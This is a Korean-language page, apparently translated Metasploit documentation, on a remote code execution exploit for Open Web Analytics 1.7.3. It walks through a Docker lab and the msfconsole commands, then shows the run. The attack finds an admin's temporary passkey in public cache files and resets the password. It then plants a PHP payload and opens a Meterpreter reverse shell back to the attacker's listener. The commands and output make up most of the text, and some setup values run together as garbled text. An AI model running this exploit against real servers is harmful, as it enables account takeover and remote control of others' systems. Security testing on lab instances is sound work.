
Open Web Analytics 1.7.3 - 원격 코드 실행
Open Web Analytics(OWA) 1.7.4 이전 버전에서는 인증되지 않은 원격 공격자가 민감한 사용자 정보를 획득할 수 있으며, 이는 캐시 해시를 활용하여 관리자 권한을 획득하는 데 사용될 수 있습니다. 이 취약점은 의도된 "<?php 시퀀스 대신 '<?php로 생성된 파일이 PHP 인터프리터에 의해 처리되지 않기 때문에 발생합니다.
docker를 사용하여 취약한 OWA 인스턴스를 시작합니다
docker compose up -ddocker-compose.yml 파일의 환경 변수를 사용하여 설치 단계를 따릅니다
http://127.0.0.1/docker inspect <db-container>를 실행하여 IPAddress 확인, 예: 172.22.0.2)3306owaowaDemo12+#http://127.0.0.1admin[email protected]Demo12+#msfconsole을 시작합니다
use exploit/multi/http/open_web_analytics_rce
set RHOSTS 127.0.0.1
set RPORT 80
set SSL false
set LHOST 172.22.0.1 -> 이 값은 docker compose up -d 명령으로 생성된 브리지 IP여야 합니다
check
run
대상 익스플로잇 시, 공격 대상 사용자의 비밀번호가 이 비밀번호로 덮어써집니다.
이 익스플로잇의 공격 대상이 되는 사용자입니다.
이 익스플로잇은 로그인을 시도할 때 각 사용자에 대해 생성되는 캐시 파일에서 temp_passkey 값을 검색하여 작동합니다.
/owa-data/caches/ 디렉터리는 공개적으로 접근 가능하므로 이러한 캐시 파일을 검색할 수 있습니다. 캐시 파일의 정확한 경로는
user_id에 따라 달라지며, 이를 통해 계산할 수 있습니다. 이 옵션은 0부터 시작하여 temp_passkey 값이 포함된
캐시 파일을 검사할 계산 경로의 수를 정의합니다.
msf6 exploit(multi/http/open_web_analytics_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > set LHOST 172.22.0.1
LHOST => 172.22.0.1
msf6 exploit(multi/http/open_web_analytics_rce) > run
[*] Started reverse TCP handler on 172.22.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Open Web Analytics 1.7.3 is vulnerable
[+] Connected to http://127.0.0.1/ successfully!
[*] Attempting to find cache of 'admin' user
[+] Found temporary password for user 'admin': 85038e7e9f541ae4c4939d3044e628a5
[+] Changed the password of 'admin' to 'pwned'
[+] Logged in as admin user
[*] Creating log file
[+] Wrote payload to file
[*] Sending stage (39927 bytes) to 172.22.0.3
[+] Deleted QY0yivK4.php
[*] Meterpreter session 1 opened (172.22.0.1:4444 -> 172.22.0.3:55434) at 2023-03-15 01:28:54 +0100
[+] Triggering payload! Check your listener!
meterpreter > pwd
/var/www/html/owa-data/caches
meterpreter > getuid
Server username: www-data
meterpreter >